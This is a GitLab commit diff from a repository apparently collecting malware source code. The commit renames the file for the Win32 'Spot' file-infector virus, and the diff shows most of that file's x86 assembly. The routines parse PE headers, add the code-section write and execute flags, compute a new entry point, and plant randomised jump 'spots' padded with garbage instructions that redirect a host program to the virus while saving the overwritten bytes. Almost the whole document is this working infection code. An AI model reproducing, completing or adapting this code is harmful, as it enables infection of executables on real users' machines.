Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
MalwareSourceCode
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package Registry
Container Registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Issue analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
backup
MalwareSourceCode
Commits
59acb78c
Unverified
Commit
59acb78c
authored
4 years ago
by
vxunderground
Committed by
GitHub
4 years ago
Browse files
Options
Downloads
Patches
Plain Diff
Rename Win32/Virus.Win32.Spot.asm to Win32/Infector/Virus.Win32.Spot.asm
parent
7ec2ec66
No related branches found
No related tags found
No related merge requests found
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
Win32/Infector/Virus.Win32.Spot.asm
+225
-225
225 additions, 225 deletions
Win32/Infector/Virus.Win32.Spot.asm
with
225 additions
and
225 deletions
Win32/Virus.Win32.Spot.asm
→
Win32/
Infector/
Virus.Win32.Spot.asm
+
225
−
225
View file @
59acb78c
...
@@ -33,21 +33,21 @@
...
@@ -33,21 +33,21 @@
; (+) RANDOM LENGTH OF JUMP ;
; (+) RANDOM LENGTH OF JUMP ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
epo:
epo:
push
esi
edi
;
esi
push
esi
edi
;
Сохраняем в стэке
esi
; edi
;
и
edi
mov
[
ebp
+
map_address
],
edx
;
mov
[
ebp
+
map_address
],
edx
;
Сохраняем адрес файла в
;
;
памяти
call
get_head
;
PE
call
get_head
;
Получаем PE заголовок
;
;
call
search_eip
;
call
search_eip
;
Вычисляем новую точку
;
;
входа
call
find_code
;
call
find_code
;
Ищем начало кода в этом
;
;
файле
call
sp
ots
;
call
sp
ots
;
Помещаем туда переход
;
;
на вирус
pop
edi
esi
;
pop
edi
esi
;
Восстанавливаем из стэка
; edi esi
; edi
и
esi
ret
;
ret
;
Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; PE HEADER SUBROUTINE ;
; PE HEADER SUBROUTINE ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
...
@@ -61,26 +61,26 @@ epo:
...
@@ -61,26 +61,26 @@ epo:
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
get_head:
get_head:
;
;
Подпрограмма получения
; PE
; PE
заголовка
pusha
;
pusha
;
Сохраняем всё в стэке
mov
ebx
,[
edx
+
3ch
]
;
mov
ebx
,[
edx
+
3ch
]
;
add
ebx
,
edx
;
add
ebx
,
edx
;
;
;
mov
[
ebp
+
PE_header
],
ebx
;
PE
mov
[
ebp
+
PE_header
],
ebx
;
сохраняем PE заголовок
mov
esi
,
ebx
;
mov
esi
,
ebx
;
mov
edi
,
esi
;
mov
edi
,
esi
;
mov
ebx
,[
esi
+
28h
]
;
mov
ebx
,[
esi
+
28h
]
;
mov
[
ebp
+
old_eip
],
ebx
;
mov
[
ebp
+
old_eip
],
ebx
;
Сохраняем старую точку
; (eip)
;
входа
(eip)
mov
ebx
,[
esi
+
34h
]
;
mov
ebx
,[
esi
+
34h
]
;
mov
[
ebp
+
image_base
],
ebx
;
mov
[
ebp
+
image_base
],
ebx
;
Сохраняем
;
;
виртуальный адрес
;
;
начала программы
popa
;
popa
;
Вынимаем всё из стэка
ret
;
ret
;
Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; NEW ENTRY POINT SUBROUTINE ;
; NEW ENTRY POINT SUBROUTINE ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
...
@@ -93,31 +93,31 @@ get_head:
...
@@ -93,31 +93,31 @@ get_head:
; NO OUTPUT IN SUBROUTINE ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
search_eip:
search_eip:
;
;
Подпрограмма вычисления
;
;
новой точки входа
pusha
;
pusha
;
Сохраняем всё в стэке
mov
esi
,[
ebp
+
PE_header
]
;
esi
mov
esi
,[
ebp
+
PE_header
]
;
Кладём в esi указатель
; PE
;
На
PE
заголовок
mov
ebx
,[
esi
+
74h
]
;
mov
ebx
,[
esi
+
74h
]
;
shl
ebx
,
3
;
shl
ebx
,
3
;
xor
eax
,
eax
;
xor
eax
,
eax
;
mov
ax
,
word
ptr
[
esi
+
6h
]
;
mov
ax
,
word
ptr
[
esi
+
6h
]
;
Количество объектов
dec
eax
; (
-1
dec
eax
; (
нам нужен последний
-1
mov
ecx
,
28h
;
)
mov
ecx
,
28h
;
заголовок секции
)
mul
ecx
; *
mul
ecx
; *
размер заголовка
add
esi
,
78h
;
esi
add
esi
,
78h
;
теперь esi указывает
add
esi
,
ebx
;
add
esi
,
ebx
;
на начало последнего
add
esi
,
eax
;
add
esi
,
eax
;
заголовка секции
mov
eax
,[
esi
+
0ch
]
;
mov
eax
,[
esi
+
0ch
]
;
add
eax
,[
esi
+
10h
]
;
add
eax
,[
esi
+
10h
]
;
Сохраняем новую точку
mov
[
ebp
+
new_eip
],
eax
;
mov
[
ebp
+
new_eip
],
eax
;
входа
popa
;
popa
;
Вынимаем всё из стэка
ret
;
ret
;
Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; FIND START OF CODE SUBROUTINE ;
; FIND START OF CODE SUBROUTINE ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
...
@@ -130,59 +130,59 @@ search_eip:
...
@@ -130,59 +130,59 @@ search_eip:
; NO OUTPUT IN SUBROUTINE ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
find_code:
find_code:
;
;
Подпрограмма поиска начала
;
;
кода
mov
esi
,[
ebp
+
PE_header
]
;
esi
mov
esi
,[
ebp
+
PE_header
]
;
Кладём в esi указатель
; PE
;
На
PE
заголовок
mov
ebx
,[
esi
+
74h
]
;
mov
ebx
,[
esi
+
74h
]
;
shl
ebx
,
3
;
shl
ebx
,
3
;
Получаем
xor
eax
,
eax
;
xor
eax
,
eax
;
mov
ax
,
word
ptr
[
esi
+
6h
]
;
mov
ax
,
word
ptr
[
esi
+
6h
]
;
Количество объектов
find2:
find2:
mov
esi
,
edi
;
mov
esi
,
edi
;
dec
eax
;
dec
eax
;
push
eax
; (
-1
push
eax
; (
нам нужен последний
-1
mov
ecx
,
28h
;
)
mov
ecx
,
28h
;
заголовок секции
)
mul
ecx
; *
mul
ecx
; *
размер заголовка
add
esi
,
78h
;
esi
add
esi
,
78h
;
теперь esi указывает на
add
esi
,
ebx
;
add
esi
,
ebx
;
начало последнего
;
;
заголовка
add
esi
,
eax
;
add
esi
,
eax
;
секции
mov
eax
,[
ebp
+
old_eip
]
; eax
mov
eax
,[
ebp
+
old_eip
]
;
В
eax
ложим точку входа
mov
edx
,[
esi
+
0ch
]
; edx
mov
edx
,[
esi
+
0ch
]
;
В
edx
адрес куда будет
;
;
мапиться
;
;
текущая секция
cmp
edx
,
eax
;
cmp
edx
,
eax
;
Проверяем
pop
eax
;
eax
pop
eax
;
Вынимаем из стэка
eax
jg
find2
;
jg
find2
;
Если больше ищем дальше
add
edx
,[
esi
+
08h
]
;
add
edx
,[
esi
+
08h
]
;
Добавляем виртуальный
;
;
размер секци
cmp
edx
,[
ebp
+
old_eip
]
;
cmp
edx
,[
ebp
+
old_eip
]
;
Проверяем
jl
find2
;
jl
find2
;
Если меньше ищем дальше
mov
edx
,[
esi
+
0ch
]
;
mov
edx
,[
esi
+
0ch
]
;
Далее вычисляем
;
;
физическое
mov
eax
,[
ebp
+
old_eip
]
;
mov
eax
,[
ebp
+
old_eip
]
;
смещение кода в файле
sub
eax
,
edx
;
sub
eax
,
edx
;
add
eax
,[
esi
+
14h
]
;
add
eax
,[
esi
+
14h
]
;
add
eax
,[
ebp
+
map_address
]
;
add
eax
,[
ebp
+
map_address
]
;
И потом добавляем базу
;
;
памяти
mov
[
ebp
+
start_code
],
eax
;
mov
[
ebp
+
start_code
],
eax
;
Сохраняем начало кода
or
[
esi
+
24h
],
00000020h
or
20000000h
or
80000000h
or
[
esi
+
24h
],
00000020h
or
20000000h
or
80000000h
;
;
Меняем аттрибуты
;
;
кодовой секции
mov
eax
,[
esi
+
08
]
;
mov
eax
,[
esi
+
08
]
;
Вычисляем размер
sub
eax
,[
ebp
+
old_eip
]
;
,
sub
eax
,[
ebp
+
old_eip
]
;
той части кодовой секции
,
mov
edx
,[
esi
+
10h
]
;
mov
edx
,[
esi
+
10h
]
;
где можно размещать
sub
edx
,
eax
;
sub
edx
,
eax
;
пятна
mov
[
ebp
+
si
ze_for_spot
],
edx
;
mov
[
ebp
+
si
ze_for_spot
],
edx
;
ret
;
ret
;
Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
; SPOTS GENERATION SUBROUTINE ;
...
@@ -196,26 +196,26 @@ find2:
...
@@ -196,26 +196,26 @@ find2:
; NO OUTPUT IN SUBROUTINE ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
spots:
spots:
;
;
Подпрограмма генерации
;
;
пятен
mov
ecx
,
1
;
ecx
mov
ecx
,
1
;
Кладём в ecx единицу
;
;
call
reset
;
call
reset
;
Подготавливаем данные
call
num_spots
;
call
num_spots
;
Генерируем случайное число
;
-
;
это будет кол-во пятен
tred:
tred:
call
save_bytes
;
call
save_bytes
;
Сохраняем затираемы байты
call
gen_spot
;
call
gen_spot
;
Генерируем пятно
inc
ecx
;
ecx
inc
ecx
;
Увеличиваем ecx на единицу
cmp
ecx
,[
ebp
+
n_spots
]
;
cmp
ecx
,[
ebp
+
n_spots
]
;
Все пятна сгенерированы
jne
tred
;
,
jne
tred
;
Если нет, то генерируем
call
save_bytes
;
call
save_bytes
;
Сохраняем последние байты
call
gen_final_spot
;
call
gen_final_spot
;
И генерируем последнее
;
;
пятно
ret
;
ret
;
Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT GENERATION SUBROUTINE ;
; SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
...
@@ -228,27 +228,27 @@ tred:
...
@@ -228,27 +228,27 @@ tred:
; NO OUTPUT IN SUBROUTINE ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_spot:
gen_spot:
;
;
Подпрограмма генерации
;
;
одного пятна
push
eax
ecx
; eax ecx
push
eax
ecx
;
Сохраняем
eax
и
ecx
call
len_sp_jmp
;
call
len_sp_jmp
;
Получаем случайную длину
xchg
eax
,
ebx
;
xchg
eax
,
ebx
;
прыжка пятна
call
testing
;
,
call
testing
;
Проверяем, чтобы пятно
jc
quit2
;
jc
quit2
;
не выходило за кодовую
;
;
секцию
push
ebx
push
ebx
xor
bx
,
bx
xor
bx
,
bx
dec
bx
dec
bx
mov
ecx
,[
ebp
+
num1
]
;
mov
ecx
,[
ebp
+
num1
]
;
Генерируем первую партию
call
garbage
;
call
garbage
;
мусора
pop
ebx
pop
ebx
mov
al
,
0e9h
;
mov
al
,
0e9h
;
stosb
;
stosb
;
mov
eax
,
0
; jmp
mov
eax
,
0
;
Генерируем
jmp
add
eax
,
ebx
;
add
eax
,
ebx
;
add
eax
,
ecx
;
add
eax
,
ecx
;
stosd
;
stosd
;
...
@@ -256,17 +256,17 @@ gen_spot:
...
@@ -256,17 +256,17 @@ gen_spot:
push
ebx
push
ebx
xor
bx
,
bx
xor
bx
,
bx
dec
bx
dec
bx
mov
ecx
,[
ebp
+
num2
]
;
mov
ecx
,[
ebp
+
num2
]
;
Генерируем вторую партию
call
garbage
;
call
garbage
;
мусора
pop
ebx
pop
ebx
sub
edi
,[
ebp
+
num2
]
;
sub
edi
,[
ebp
+
num2
]
;
add
edi
,[
ebp
+
num1
]
; edi
add
edi
,[
ebp
+
num1
]
;
Корректируем
edi
add
edi
,
ebx
;
add
edi
,
ebx
;
quit2:
quit2:
pop
ecx
eax
; ecx eax
pop
ecx
eax
;
Восстанавливаем
ecx
и
eax
ret
;
ret
;
Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; LAST SPOT GENERATION SUBROUTINE ;
; LAST SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
...
@@ -279,36 +279,36 @@ quit2:
...
@@ -279,36 +279,36 @@ quit2:
; NO OUTPUT IN SUBROUTINE ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_final_spot:
gen_final_spot:
;
;
Подпрограмма генерации
;
;
финального пятна
push
eax
ecx
; eax ecx
push
eax
ecx
;
Сохраняем
eax
и
ecx
jc
not_big
;
jc
not_big
;
Если длина не превышает
inc
[
ebp
+
n_spots
]
;
,
inc
[
ebp
+
n_spots
]
;
размера кодовой секции, то
not_big:
;
-
not_big:
;
Увеличим кол-во пятен
mov
ecx
,[
ebp
+
num1
]
;
mov
ecx
,[
ebp
+
num1
]
;
Генерируем мусорные
call
garbage
;
call
garbage
;
инструкции
push
edi
; edi
push
edi
;
Сохраняем
edi
sub
edi
,[
ebp
+
start_code
]
;
jmp'a
sub
edi
,[
ebp
+
start_code
]
;
Подготавливаем длину
jmp'a
mov
ebx
,
edi
;
mov
ebx
,
edi
;
для последнего пятна
pop
edi
; edi
pop
edi
;
Восстанавливаем
edi
mov
al
,
0e9h
;
mov
al
,
0e9h
;
stosb
;
stosb
;
mov
eax
,
0
;
mov
eax
,
0
;
sub
eax
,
5
;
sub
eax
,
5
;
Генерируем финальное
sub
eax
,
ebx
;
sub
eax
,
ebx
;
пятно
add
eax
,[
ebp
+
new_eip
]
;
add
eax
,[
ebp
+
new_eip
]
;
sub
eax
,[
ebp
+
old_eip
]
;
sub
eax
,[
ebp
+
old_eip
]
;
stosd
;
stosd
;
mov
ecx
,[
ebp
+
num2
]
;
mov
ecx
,[
ebp
+
num2
]
;
Генерируем вторую партию
call
garbage
;
call
garbage
;
мусорных инструкций
pop
ecx
eax
; ecx eax
pop
ecx
eax
;
Восстанавливаем
ecx
и
eax
ret
;
ret
;
Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
; SPOTS GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
...
@@ -322,29 +322,29 @@ not_big: ;
...
@@ -322,29 +322,29 @@ not_big: ;
; NO OUTPUT IN SUBROUTINE ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes:
save_bytes:
;
;
Подпрограмма сохранения
;
;
заменяемых байт
pusha
;
pusha
;
Сохраняем всё в стэке
call
length1
;
call
length1
;
Генерируем длины мусорных
;
;
инструкций
mov
ebx
,[
ebp
+
num1
]
;
ebx
mov
ebx
,[
ebp
+
num1
]
;
Помещаем в ebx первую
add
ebx
,[
ebp
+
num2
]
;
add
ebx
,[
ebp
+
num2
]
;
и вторую длины
add
ebx
,
5
;
ebx - 5
add
ebx
,
5
;
Добавляем к
ebx - 5
mov
esi
,
edi
;
mov
esi
,
edi
;
Сохраняем в буфере с
mov
edi
,[
ebp
+
pointer
]
;
mov
edi
,[
ebp
+
pointer
]
;
начала смещение в памяти
mov
eax
,
esi
;
mov
eax
,
esi
;
на сохраняемые байты
stosd
;
stosd
;
mov
ecx
,
ebx
;
mov
ecx
,
ebx
;
После этого сохраняем в
mov
eax
,
ecx
;
-
mov
eax
,
ecx
;
буфере кол-во сохраняемых
stosd
;
stosd
;
байт
rep
movsb
;
rep
movsb
;
И в самом конце сохраняем
mov
[
ebp
+
pointer
],
edi
;
mov
[
ebp
+
pointer
],
edi
;
в буфере сами байты
;
;
popa
;
popa
;
Вынимаем всё из стэка
ret
;
ret
;
Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESTORE SUBROUTINE ;
; RESTORE SUBROUTINE ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
...
@@ -357,32 +357,32 @@ save_bytes:
...
@@ -357,32 +357,32 @@ save_bytes:
; OLD ENTRY POINT -> EBX ;
; OLD ENTRY POINT -> EBX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
restore:
restore:
;
;
Подпрограмма
;
;
восстановления сохранённых
;
;
байт
cld
;
cld
;
Поиск вперёд
lea
esi
,[
ebp
+
rest_bytes
]
; esi
lea
esi
,[
ebp
+
rest_bytes
]
;
В
esi
указазатель на буфер
mov
edx
,
1
; edx - 1
mov
edx
,
1
;
В
edx
кладём
- 1
not_enough:
not_enough:
mov
edi
,[
ebp
+
old_eip
]
; edi
mov
edi
,[
ebp
+
old_eip
]
;
В
edi
загружаем точку
add
edi
,[
ebp
+
image_base
]
;
add
edi
,[
ebp
+
image_base
]
;
входа
mov
ebx
,
edi
; edi ebx
mov
ebx
,
edi
;
Сохраняем
edi
в
ebx
lodsd
; eax
lodsd
;
В
eax
старое смещение
;
;
байт в памяти
sub
eax
,[
ebp
+
start_code
]
;
sub
eax
,[
ebp
+
start_code
]
;
Отнимаем смещение начала
;
;
кода и добавляем
add
edi
,
eax
;
add
edi
,
eax
;
точку входа
lodsd
;
eax -
lodsd
;
Загружаем в eax кол-во
mov
ecx
,
eax
;
ecx
mov
ecx
,
eax
;
байт и кладём их в
ecx
rep
movsb
;
rep
movsb
;
Перемещаем оригинальные
;
;
байты на старое место
inc
edx
;
inc
edx
;
Переходим к следующему
cmp
edx
,[
ebp
+
n_spots
]
;
cmp
edx
,[
ebp
+
n_spots
]
;
пятну
jl
not_enough
;
,
jl
not_enough
;
если не все пятна вернули
,
;
;
то восстанавливаем дальше
quit:
;
quit:
;
ret
;
ret
;
Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; LENGTH SPOT GENERATION SUBROUTINE ;
; LENGTH SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
...
@@ -395,23 +395,23 @@ quit: ;
...
@@ -395,23 +395,23 @@ quit: ;
; NO OUTPUT IN SUBROUTINE ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
length1:
length1:
;
;
Подпрограмма генерации
;
;
длин мусорных инструкций
mov
eax
,
20
;
mov
eax
,
20
;
call
brandom32
;
call
brandom32
;
Генерируем случайное число
test
eax
,
eax
;
1..19
test
eax
,
eax
;
в диапазоне
1..19
jz
length1
;
jz
length1
;
mov
[
ebp
+
num1
],
eax
;
mov
[
ebp
+
num1
],
eax
;
Сохраняем его в переменную
rand2:
rand2:
mov
eax
,
20
;
mov
eax
,
20
;
call
brandom32
;
call
brandom32
;
Генерируем случайное число
test
eax
,
eax
;
1..19
test
eax
,
eax
;
в диапазоне
1..19
jz
rand2
;
jz
rand2
;
mov
[
ebp
+
num2
],
eax
;
mov
[
ebp
+
num2
],
eax
;
Сохраняем его в вторую
;
;
переменную
ret
;
ret
;
Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESET SUBROUTINE ;
; RESET SUBROUTINE ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
...
@@ -424,16 +424,16 @@ rand2:
...
@@ -424,16 +424,16 @@ rand2:
; NO OUTPUT IN SUBROUTINE ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
reset:
reset:
;
;
Подпрограмма инициализации
;
;
переменных
mov
edi
,[
ebp
+
start_code
]
;
mov
edi
,[
ebp
+
start_code
]
;
;
;
push
esi
;
push
esi
;
Инициализируем переменные
lea
esi
,[
ebp
+
rest_bytes
]
;
lea
esi
,[
ebp
+
rest_bytes
]
;
mov
[
ebp
+
pointer
],
esi
;
mov
[
ebp
+
pointer
],
esi
;
pop
esi
;
pop
esi
;
ret
;
ret
;
Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT JUMP LENGTH GENERATION SUBROUTINE ;
; SPOT JUMP LENGTH GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
...
@@ -446,15 +446,15 @@ reset:
...
@@ -446,15 +446,15 @@ reset:
; LENGTH OF SPOT JUMP -> EAX ;
; LENGTH OF SPOT JUMP -> EAX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
len_sp_jmp:
len_sp_jmp:
;
;
Подпрограмма генерации
;
;
длины прыжка
mov
eax
,
150
;
mov
eax
,
150
;
call
brandom32
;
call
brandom32
;
Генерируем случайное число
cmp
eax
,
45
;
45..149
cmp
eax
,
45
;
в диапазоне
45..149
jle
len_sp_jmp
;
jle
len_sp_jmp
;
ret
;
ret
;
Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS NUMBER GENERATION SUBROUTINE ;
; SPOTS NUMBER GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
...
@@ -467,18 +467,18 @@ len_sp_jmp:
...
@@ -467,18 +467,18 @@ len_sp_jmp:
; NO OUTPUT IN SUBROUTINE ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
num_spots:
num_spots:
;
;
Подпрограмма генерации
;
;
количества пятен
pusha
;
pusha
;
Сохраняем всё в стэке
mov
eax
,
40
;
mov
eax
,
40
;
Генерируем случайное число
call
brandom32
;
1..40
call
brandom32
;
в диапазоне
1..40
inc
eax
;
inc
eax
;
И сохраняем его в
mov
[
ebp
+
n_spots
],
eax
;
mov
[
ebp
+
n_spots
],
eax
;
переменной
popa
;
popa
;
Вынимаем всё из стэка
ret
;
ret
;
Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; TESTING SUBROUTINE ;
; TESTING SUBROUTINE ;
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
...
@@ -491,39 +491,39 @@ num_spots:
...
@@ -491,39 +491,39 @@ num_spots:
; CARRY FLAG ;
; CARRY FLAG ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
testing:
testing:
;
;
Подпрограмма проверки
;
;
попадения в границу секции
push
edi
eax
; edi eax
push
edi
eax
;
Сохраняем
edi eax
в стэке
add
edi
,[
ebp
+
num1
]
;
edi 1-
add
edi
,[
ebp
+
num1
]
;
Добавим к edi 1-ую длину
;
;
мусорных инструкций
add
edi
,[
ebp
+
num2
]
;
2-
